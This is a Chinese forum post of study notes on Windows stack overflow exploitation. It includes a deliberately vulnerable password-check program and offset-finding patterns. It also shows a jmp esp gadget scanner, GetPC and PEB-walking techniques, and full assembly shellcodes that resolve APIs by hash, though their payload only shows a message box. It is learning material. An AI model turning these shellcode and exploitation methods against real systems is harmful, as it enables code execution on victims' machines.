-
-
[原创]漏洞学习_1 待删 不会传图片
-
发表于: 2023-5-3 16:39 9011
-
0. 漏洞概述
名词解释
Vulnerability(脆弱性|漏洞)
我们通常把这类能够引起软件做一些“超出设计范围的事情”的bug 称为漏洞;
- 功能性逻辑缺陷(bug):影响软件的正常功能,例如,执行结果错误、图标显示错误等。
- 安全性逻辑缺陷(漏洞):通常情况下不影响软件的正常功能,但被攻击者成功利用
后,有可能引起软件去执行额外的恶意代码。常见的漏洞包括软件中的缓冲区溢出漏洞、网站
中的跨站脚本漏洞(XSS)、SQL 注入漏洞等。
Exploit
植入代码之前需要做大量的调试工作,例如,弄清楚程序有几个输入点,这些输入将最终
会当作哪个函数的第几个参数读入到内存的哪一个区域,哪一个输入会造成栈溢出,在复制到
栈区的时候对这些数据有没有额外的限制等。调试之后还要计算函数返回地址距离缓冲区的偏
移并淹没之,选择指令的地址,最终制作出一个有攻击效果的“承载”着shellcode 的输入字符
串。这个代码植入的过程就是漏洞利用,也就是exploit。
Shellcode
攻击代码
PayLoad
攻击载荷
漏洞挖掘
由于安全性漏洞往往有极高的利用价值,例如,导致计算机被非法远程控制,数据库数据
泄漏等,所以总是有无数技术精湛、精力旺盛的家伙在夜以继日地寻找软件中的这类逻辑瑕疵。
他们精通二进制、汇编语言、操作系统底层的知识;他们往往也是杰出的程序员,因此能够敏
锐地捕捉到程序员所犯的细小错误。
寻找漏洞的人并非全是攻击者。大型的软件企业也会雇用一些安全专家来测试自己产品中
的漏洞,这种测试工作被称做Penetration test(攻击测试),这些测试团队则被称做Tiger team
或者Ethic hacker。
从技术角度讲,漏洞挖掘实际上是一种高级的测试(QA)。学术界一直热衷于使用静态分
析的方法寻找源代码中的漏洞;而在工程界,不管是安全专家还是攻击者,普遍采用的漏洞挖
掘方法是Fuzz,这实际是一种“灰”盒测试。
漏洞分析
...
漏洞利用
...
1. 典型栈溢出实例
关闭GS DEP SAFFSEH等选项
// 典型栈溢出.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" #include <windows.h> #include <string.h> #define PASSWORD "password" int VerfityPassword(char* pswPassword, int nSize) { char szBuffer[50] = { 0 }; memcpy(szBuffer, pswPassword, nSize); return strcmp(PASSWORD, szBuffer); } int main(int argc,_TCHAR* argv[]) { int nFlag = 0; char szPassWord[0x200] = { 0 }; int nFileSize = 0; FILE *fp; LoadLibraryA("user32.dll"); if (NULL==(fp=fopen("password.txt","rb"))) { printf("打开文件失败"); system("pause"); return 0; } fseek(fp, 0, SEEK_END); nFileSize = ftell(fp); rewind(fp);//重新指向文件开头 fread(szPassWord, nFileSize, 1, fp); nFlag = VerfityPassword(szPassWord, nFileSize); if (!nFlag) { printf("successful"); } else { printf("error"); } fclose(fp); system("pause"); return 0; }
编译代码,并在password.txt中输入字符串,在事件管理器-windwos日志-应用程序查看,(在实验过程之中)发现该错误偏移量不一定准确。
定位溢出点
A0A1A2A3A4A5A6A7A8A9B0B1B2B3B4B5B6B7B8B9C0C1C2C3C4C5C6C7C8C9D0D1D2D3D4D5D6D7D8D9E0E1E2E3E4E5E6E7E8E9F0F1F2F3F4F5F6F7F8F9G0G1G2G3G4G5G6G7G8G9H0H1H2H3H4H5H6H7H8H9I0I1I2I3I4I5I6I7I8I9J0J1J2J3J4J5J6J7J8J9K0K1K2K3K4K5K6K7K8K9L0L1L2L3L4L5L6L7L8L9M0M1M2M3M4M5M6M7M8M9N0N1N2N3N4N5N6N7N8N9O0O1O2O3O4O5O6O7O8O9P0P1P2P3P4P5P6P7P8P9Q0Q1Q2Q3Q4Q5Q6Q7Q8Q9R0R1R2R3R4R5R6R7R8R9S0S1S2S3S4S5S6S7S8S9T0T1T2T3T4T5T6T7T8T9U0U1U2U3U4U5U6U7U8U9V0V1V2V3V4V5V6V7V8V9W0W1W2W3W4W5W6W7W8W9X0X1X2X3X4X5X6X7X8X9Y0Y1Y2Y3Y4Y5Y6Y7Y8Y9Z0Z1Z2Z3Z4Z5Z6Z7Z8Z9
a0a1a2a3a4a5a6a7a8a9b0b1b2b3b4b5b6b7b8b9c0c1c2c3c4c5c6c7c8c9d0d1d2d3d4d5d6d7d8d9 e0e1e2e3e4e5e6e7e8e9f0f1f2f3f4f5f6f7f8f9g0g1g2g3g4g5g6g7g8g9h0h1h2h3h4h5h6h7h8h9 i0i1i2i3i4i5i6i7i8i9j0j1j2j3j4j5j6j7j8j9k0k1k2k3k4k5k6k7k8k9l0l1l2l3l4l5l6l7l8l9 m0m1m2m3m4m5m6m7m8m9n0n1n2n3n4n5n6n7n8n9o0o1o2o3o4o5o6o7o8o9p0p1p2p3p4p5p6p7p8p9 q0q1q2q3q4q5q6q7q8q9r0r1r2r3r4r5r6r7r8r9s0s1s2s3s4s5s6s7s8s9t0t1t2t3t4t5t6t7t8t9 u0u1u2u3u4u5u6u7u8u9v0v1v2v3v4v5v6v7v8v9w0w1w2w3w4w5w6w7w8w9x0x1x2x3x4x5x6x7x8x9 y0y1y2y3y4y5y6y7y8y9z0z1z2z3z4z5z6z7z8z9
定位到溢出点,使得返回值为messagebox地址,并在其后给其附加参数0,0,0,0
通过x64dbg得到MessageBoxA地址为0x77ca0c10;弹出空白提示框。
但是我们的shellcode并不通用。
GetPC技术
Get Program Counter 获得程序计数器,在x86下可以理解为GetEIP 在很多情况下,由于我们不能确定自己的程序所在的位置,程序中的各种跳转,调用以及变量的访问就无法知道确切地址,因此需要GetPc技术获取当前的地址。
call方式--
|-优点 不会产生冗余指令 |-缺点 有很多0x00产生,在很多输入情况下不能直接使用,需要编码 00401000 E8 00000000 call 00401005 00401005 58 pop eax |-不会产生0x00 大多数情况下可以直接使用,无需编码 |-会产生一条冗余指令 “inc edx” 在vs2015调试时代码有bug 00401000 e8 ffffffff call 00401004 00401005 c3 retn 00401006 58 pop eax
FSTENV方式
x87浮点单元(FPU) 在普通x86架构中提供了一个隔离的执行环境,它包含一个单独的专用寄存器集合,当一个进程正在使用fpu执行浮点运算的是否,这些寄存器需要由操作系统在上下文切换时保存,
我们利用这个特点,通过获取其fpu_instruction_pointer这个成员的内容,进而得到上一条fpu指令所在的位置,
汇编指令FNSTENV这条指令可以将FPU的状态值保存在内存中,因此我们可以使用这条指令将FPU状态保存在esp-oc的位置,从而使得esp正好指向fpu-instruction-pointer
获得GetProcAddress、LoadLibrary
为了增强程序的通用性,我们可以通过以下知识解决。
- 一个进程所加载的所有模块信息都保存在一个PEB的结构中,我们可以通过索引此结构,找到Kernel32.dll的基址
- 然后通过搜索PE文件导出表的方式,在Kernel32.dll中找到我们所需要的关键函数,GetProcAddress()的地址
- 最后再使用GetProcAdress()获取到LoadLibarary的地址
- 有了GetProcAddress()与LoadLibrary(),其他的API都可以随意调用了。
--图来源 0day安全:软件漏洞分析技术P88
找到GetProcAddress()
- 通过FS寄存器找到当前的TEB
- 通过TEB偏移30的位置找到PEB的地址
- 通过PEB偏移0x0c的位置找到PEB_LAR_DATA的结构体指针。
- 通过PEB_LADR_DATA偏移0x1c找到此结构体的成员InInitializationOrderModuleList,此成员保存着模块链表的头部地址。
- InInitializationOrderModuleList按照顺序保存进程加载的模块地址,其中第一个始终为ntadll.dll,第二个是系统的不同可能保存有Kernel32.dll 或者 KernelBase.dll,的信息。
- 不管Kernel32.dll,或者KermelBase.dll,都导出有我们所需要的函数GetProcAddress();
- PE文件解析出GetProcAddress地址
跳板指令
那么这样我们可以避免去计算我们的shellcode偏移,只需要放置在溢出点下方,通过一个跳板指令指向我们的shellcode起始,但是此时还需注意,还存在retn情况,所以我们需要稳妥起见将下方填充16字节nop(0x90);增强健壮性,现在的关键在于找到跳板指令。
#include "stdafx.h" #include <windows.h> #define DLL_NAME "user32.dll" int main() { BYTE* ptr; int position, address; HINSTANCE handle; BOOL done_flag = FALSE; handle = LoadLibraryA(DLL_NAME); if (!handle) { printf(" load dll erro !"); exit(0); } ptr = (BYTE*)handle; for (position = 0; !done_flag; position++) { try { if (ptr[position] == 0xFF && ptr[position + 1] == 0xE4) { //0xFFE4 is the opcode of jmp esp int address = (int)ptr + position; printf("OPCODE found at 0x%x\n", address); break; } } catch (...) { int address = (int)ptr + position; printf("END OF 0x%x\n", address); done_flag = true; } } return 0; }
此函数通过搜索内存获得跳板指令所在的位置,可以在接下来的shellcode制作中改写为汇编进行调用。
调用shellcode
char bshellcode[]=""
__asm{
Lea eax,bshellcode
push eax
ret
}
阶段成果
_asm { sub esp, 0x20; jmp tag_shellcode; //exitprocess \0 //45 78 69 74 50 72 6F 63 65 73 73 _asm __emit(0x45) _asm __emit(0x78) _asm __emit(0x69) _asm __emit(0x74) _asm __emit(0x50) _asm __emit(0x72) _asm __emit(0x6f) _asm __emit(0x63) _asm __emit(0x65) _asm __emit(0x73) _asm __emit(0x73) _asm __emit(0x00) //User32.dll \0 //55 73 65 72 33 32 2E 64 6C 6C _asm __emit(0x55) _asm __emit(0x73) _asm __emit(0x65) _asm __emit(0x72) _asm __emit(0x33) _asm __emit(0x32) _asm __emit(0x2e) _asm __emit(0x64) _asm __emit(0x6c) _asm __emit(0x6c) _asm __emit(0x00) //messageboxA \0 //4D 65 73 73 61 67 65 42 6F 78 41 _asm __emit(0x4D) _asm __emit(0x65) _asm __emit(0x73) _asm __emit(0x73) _asm __emit(0x61) _asm __emit(0x67) _asm __emit(0x65) _asm __emit(0x42) _asm __emit(0x6f) _asm __emit(0x78) _asm __emit(0x41) _asm __emit(0x00) //字符串hello \0 //68 65 6C 6C 6F 0D 0A _asm __emit(0x68) _asm __emit(0x65) _asm __emit(0x6c) _asm __emit(0x6c) _asm __emit(0x6f) _asm __emit(0x0d) _asm __emit(0x0a) _asm __emit(0x00) //"loadlibraryExa" //4C 6F 61 64 4C 69 62 72 61 72 79 45 78 \0 _asm __emit(0x4C) _asm __emit(0x6F) _asm __emit(0x61) _asm __emit(0x64) _asm __emit(0x4C) _asm __emit(0x69) _asm __emit(0x62) _asm __emit(0x72) _asm __emit(0x61) _asm __emit(0x72) _asm __emit(0x79) _asm __emit(0x45) _asm __emit(0x78) _asm __emit(0x41) _asm __emit(0x00) //GetProcAddress //47 65 74 50 72 6F 63 41 64 64 72 65 73 73 _asm __emit(0x47) _asm __emit(0x65) _asm __emit(0x74) _asm __emit(0x50) _asm __emit(0x72) _asm __emit(0x6F) _asm __emit(0x63) _asm __emit(0x41) _asm __emit(0x64) _asm __emit(0x64) _asm __emit(0x72) _asm __emit(0x65) _asm __emit(0x73) _asm __emit(0x73) //到此加5个字节 e8 00000000 //GetPc tag_shellcode: call tag_next; //GetPc tag_next: pop ebx; tag_GetKernelBase: mov esi, dword ptr fs : [0x30]; //esi peb_addr mov esi, [esi + 0x0c]; //PEB_LAR_DATA mov esi, [esi + 0x1c]; //InInitializationOrderModuleList mov esi, [esi]; //指向第二个条目,[esi]flink mov edx, [esi + 0x08]; //ebx-->dllbase kernel32.dll_base //获取GetProcAddress地址; push ebx; //BaseAddr push edx; //ImageBase call fun_GetProcAddress; //eax GetProcAddress_addr mov esi, eax; push edx; //获取LoadlibraryEx地址 lea ecx, [ebx - 0x22]; //"LoadLibraryEx" push ecx; push edx; call eax; //call GetProcAddress pop edx; push ebx; push esi; push eax; push edx; call tag_PayLoad; //int ImageBase,int BaseAddr fun_GetProcAddress: push ebp; mov ebp, esp; sub esp, 0x0c; push edx; mov edx, [ebp + 0x08]; //kernel32.dll _addr mov esi, [edx + 0x3c]; //image_dos_header.e_lfanew; lea esi, [esi + edx]; //文件头VA mov esi, [esi + 0x78]; //image_dir..Export.VirtualAddress; lea esi, [esi + edx]; //esi 导入表va mov edi, [esi + 0x1c]; //esi Image_Exp...ory.AddressOfFunction; lea edi, [edi + edx]; // edi EAT_VA; mov[ebp - 0x04], edi; //local_1 EAT_VA; mov edi, [esi + 0x20]; //edi Image_Exp..ory.AddressOfName lea edi, [edi + edx]; //edi ENT_VA; mov[ebp - 0x08], edi; //local_2 ENT_VA; mov edi, [esi + 0x24]; //edi Image_Exp..ory.AddressOfNameOrdinals lea edi, [edi + edx]; //edi EOT_VA; mov[ebp - 0x0c], edi; //local3 EOT_VA; xor eax, eax; jmp Loop_Frist; Loop_condition: inc eax; Loop_Frist: mov esi, [ebp - 0x08]; //local2 ENT mov esi, [esi + 4 * eax]; // ENT_RVA mov edx, [ebp + 0x08]; //edx param1(imagebase) lea esi, [esi + edx]; //ENT_VA mov ebx, [ebp + 0x0c]; //ebx param2(imageAddr) lea edi, [ebx - 0x13]; //edi "GetProcAddress" mov ecx, 0x0e; //ecx 字串长度 cld; repe cmpsb; jne Loop_condition; //如果不相等继续比对 //成功后找到对应序号 mov esi, [ebp - 0x0c]; //esi local3 EOF xor edi, edi; mov di, [esi + eax * 2]; //这里eax*2需要思考一下 //使用序号作为索引,找到函数名所对应的函数地址 mov edx, [ebp - 0x04]; //local1(EAT) mov esi, [edx + edi * 4]; //找到对应的函数地址 mov edx, [ebp + 0x08]; //param 1 lea eax, [edx + esi]; //返回GetProcAddress pop edx; mov esp, ebp; pop ebp; retn 0x08; //(int Kernel32_base,int LoadLibraryEx,int GetProcAddress,int baseAddress) tag_PayLoad: push ebp; mov ebp, esp; sub esp, 0x08; mov ebx, [ebp + 0x14]; //param4 //获取messageboxA地址 lea ecx, [ebx - 0x41]; //"User32.dll\0" push 0; push 0; push ecx; call[ebp + 0x0c]; //call loadLibrary lea ecx, [ebx - 0x36]; //"MessageboxA\0"; push ecx; push eax; //user32 基址 call[ebp + 0x10]; //call GetProcAddress mov[ebp - 0x04], eax; //local1 MessageBox_addr //获取exitProcess 函数地址 lea ecx, [ebx - 0x4d]; //"ExitProcess\0"; push ecx; push [ebp+0x08]; //kernel32基址 call[ebp + 0x10]; //call GetProcAddress mov[ebp - 0x08], eax; //local1 ExitProcess_addr //调用 lea ecx, [ebx-0x2a]; //"字符串" push 0; push ecx; push ecx; push 0; call[ebp - 0x04]; push 0; call[ebp - 0x08]; //exitprocess mov esp, ebp; pop ebp; retn 0x10; }
进行编译,而后使用工具提取机器码,
优化shellcode
shellcode要足够短小,
短指令
xchg eax,reg 交换eax 和其他寄存器中的值
lodsd 把esi 指向的一个dword 装入eax,并且增加esi
lodsb 把esi 指向的一个byte 装入al,并且增加esi
stosd
stosb
pushad/popad 从栈中存储/恢复所有寄存器的值
cdq 用edx 把eax 扩展成四字。这条指令在eax<0x80000000 时可用作mov edx ,
NULL
复合指令
...
API调用方式
...
代码也可以当成数据
调整栈顶 变废为宝
hash压缩
#include <stdio.h> #include <windows.h> DWORD GetHash(char *fun_name) { DWORD digest=0; while(*fun_name) { digest=((digest<<25)|(digest>>7)); //循环右移7 位 digest+= *fun_name ; //累加 fun_name++; } return digest; } main() { DWORD hash; hash= GetHash("AddAtomA"); printf("result of hash is %.8x\n",hash); }
mov ebx,[ebp-0x04] shl ebx,0x19; mov edx,[ebp-0x04]; shr edx,0x07; or ebx,edx; add ebx,eax;
阶段成果
// 通用的shellcode.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" int main() { _asm { CLD; clear flag DF ; store hash push 0x1e380a6a; hash of MessageBoxA push 0x4fd18963; hash of ExitProcess push 0x0c917432; hash of LoadLibraryA mov esi, esp; esi = addr of first function hash lea edi, [esi - 0xc]; edi = addr to start writing function ; make some stack space xor ebx, ebx mov bh, 0x04 sub esp, ebx ; push a pointer to "user32" onto stack mov bx, 0x3233; rest of ebx is null push ebx push 0x72657375 push esp xor edx, edx ; find base addr of kernel32.dll mov ebx, fs:[edx + 0x30]; ebx = address of PEB mov ecx, [ebx + 0x0c]; ecx = pointer to loader data mov ecx, [ecx + 0x1c]; ecx = first entry in initialization ; order list mov ecx, [ecx]; ecx = second entry in list ; (kernel32.dll) mov ebp, [ecx + 0x08]; ebp = base address of kernel32.dll find_lib_functions : lodsd; load next hash into al and increment esi cmp eax, 0x1e380a6a; hash of MessageBoxA - trigger ; LoadLibrary("user32") jne find_functions xchg eax, ebp; save current hash call[edi - 0x8]; LoadLibraryA xchg eax, ebp; restore current hash, and update ebp ; with base address of user32.dll find_functions : pushad; preserve registers mov eax, [ebp + 0x3c]; eax = start of PE header mov ecx, [ebp + eax + 0x78]; ecx = relative offset of export table add ecx, ebp; ecx = absolute addr of export table mov ebx, [ecx + 0x20]; ebx = relative offset of names table add ebx, ebp; ebx = absolute addr of names table xor edi, edi; edi will count through the functions next_function_loop : inc edi; increment function counter mov esi, [ebx + edi * 4]; esi = relative offset of current ; function name add esi, ebp; esi = absolute addr of current ; function name cdq; dl will hold hash(we know eax is ; small) hash_loop: movsx eax, byte ptr[esi] cmp al, ah jz compare_hash ror edx, 7 add edx, eax inc esi jmp hash_loop compare_hash : cmp edx, [esp + 0x1c]; compare to the requested hash(saved on ; stack from pushad) jnz next_function_loop mov ebx, [ecx + 0x24]; ebx = relative offset of ordinals ; table add ebx, ebp; ebx = absolute addr of ordinals ; table mov di, [ebx + 2 * edi]; di = ordinal number of matched ; function mov ebx, [ecx + 0x1c]; ebx = relative offset of address ; table add ebx, ebp; ebx = absolute addr of address table add ebp, [ebx + 4 * edi]; add to ebp(base addr of module) the ; relative offset of matched function xchg eax, ebp; move func addr into eax pop edi; edi is last onto stack in pushad stosd; write function addr to[edi] and ; increment edi push edi popad; restore registers ; loop until we reach end of last hash cmp eax, 0x1e380a6a jne find_lib_functions function_call : xor ebx, ebx push ebx; cut string push 0x74736577 push 0x6C696166; push failwest mov eax, esp; load address of failwest push ebx push eax push eax push ebx call[edi - 0x04]; call MessageboxA push ebx call[edi - 0x08]; call ExitProcess mov esp, ebp; pop ebp; retn 0x10; } return 0; }
此段shellcode为 0day2 p92内容;
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
赞赏
- [原创]初学之_过保护 10451
- [原创]初学之-CVE-2013-4730 9368
- 初学之-CVE-2013-4730 待删 不会传图片 8954
- [原创]C++学习 待删 不会传图片 6095